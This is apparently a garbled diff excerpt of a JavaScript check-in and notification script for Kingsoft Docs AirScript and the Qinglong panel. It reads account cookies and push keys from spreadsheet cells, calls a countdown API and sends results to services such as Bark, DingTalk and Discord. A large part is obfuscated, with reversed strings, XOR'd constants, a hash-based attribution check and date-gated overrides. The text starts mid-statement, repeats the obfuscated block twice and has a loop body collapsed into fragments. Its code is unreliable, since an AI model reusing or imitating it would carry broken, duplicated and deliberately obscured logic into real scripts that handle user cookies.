_0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 直推,调用就直接就进行推送 +function pushDirect(message) { + console.log("✨ 推送直推") + if (message != "") { + // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let length = jsonPush.length; + let name; + let key; + for (let i = 0; i < length; i++) { + if (jsonPush[i].flag == 1) { + name = jsonPush[i].name; + key = jsonPush[i].key; + if (name == "bark") { + bark(message, key); + } else if (name == "pushplus") { + pushplus(message, key); + } else if (name == "ServerChan") { + serverchan(message, key); + } else if (name == "email") { + email(message); + } else if (name == "dingtalk") { + dingtalk(message, key); + } else if (name == "discord") { + discord(message, key); + } + } + } + } else { + console.log("🍳 消息为空不推送"); + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i { + // // let message = `${index + 1}/${chunks.length}: ${chunk}`; + // bark(message, key) + // }); +} + + +// 消息分片,以换行符为分割,自动检索切割位置符号 +function splitMessage(data) { + let chunks = []; + let start = 0; + + while (start < data.length) { + let end = start + maxMessageLength; + if (end >= data.length) { + chunks.push(data.slice(start)); + break; + } + + // 查找距离 maxMessageLength 在 20 字符以内的最近的换行符 + let newlineIndex = data.lastIndexOf('【', end + parseInt(messageDistance)); + // console.log(newlineIndex) + if (newlineIndex > start && newlineIndex >= end - parseInt(messageDistance)) { + end = newlineIndex; + } + chunks.push(data.slice(start, end)); + start = end; + } + + return chunks +} + +// =================消息分片处理相关结束=================== + + +// 直接推送 +// 结果处理函数 +function resultHandle(resp, pos){ + // 每次进来resultHandle则加一次请求 + posHttp += 1 // 青龙适配,青龙微适配 + + let messageSuccess = ""; + let messageFail = ""; + let messageName = ""; + // 推送昵称或单元格,还是不推送位置标识 + if (messageNickname == 1) { + // 推送昵称或单元格 + messageName = Application.Range("C" + pos).Text; + if(messageName == "") + { + messageName = "单元格A" + pos + ""; + } + } + posLabel = pos-2 ; // 存放下标,从0开始 + // messageHeader[posLabel] = "👨‍🚀 " + messageName + messageHeader[posLabel] = "" + // console.log(messageName) + + const formatLifeTime = (data) => { + const progressBar = (current, total, width=12) => { + const filled = '█'.repeat(Math.round(current/total*width)); + return `${filled.padEnd(width, '░')} ${(current/total*100).toFixed(1)}%`; + }; + + return [ + `📅 ${data.month.replace(/\D+/g,'')}/${12}个月 ${progressBar(4, 12)}`, + `🔄 ${data.week.replace(/\D+/g,'')}/7周 ${'⏳'.repeat(7)}`, + `🌞 ${data.day.replace(/\D+/g,'')}/30天 ${progressBar(6, 30, 8)}`, + `⏰ ${data.hour.match(/\d+/g).slice(0,3).join(':')} ${'🕒'.repeat(3)}`, + `📌 最后更新:${data.time.split(' ')[1].slice(0,5)}` + ].join('\n'); + }; + + // area = Range("D" + pos).Value2 + let url = "http://shanhe.kim/api/za/rsdjs.php" + resp = HTTP.fetch(url, { + method: "get", + headers: {}, + // data: data + }); + resp = resp.json() + // console.log(resp) + content = formatLifeTime(resp) + messageSuccess += content + + // 青龙适配,青龙微适配 + flagResultFinish = 1; // 结束 + + // 检查是否直接推送 + flag_pushdirect = Application.Range("D" + pos).Text + if(flag_pushdirect == "是") { + // console.log("🚀 直接推送") + // pushDirect(messageSuccess); + message = messageSuccess + // 方式1:按照指定分割符分片 separator + shards = message.split(separator); // // 分割符分片数据,一级分割 + let chunks = [] + for(let i=0; i{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 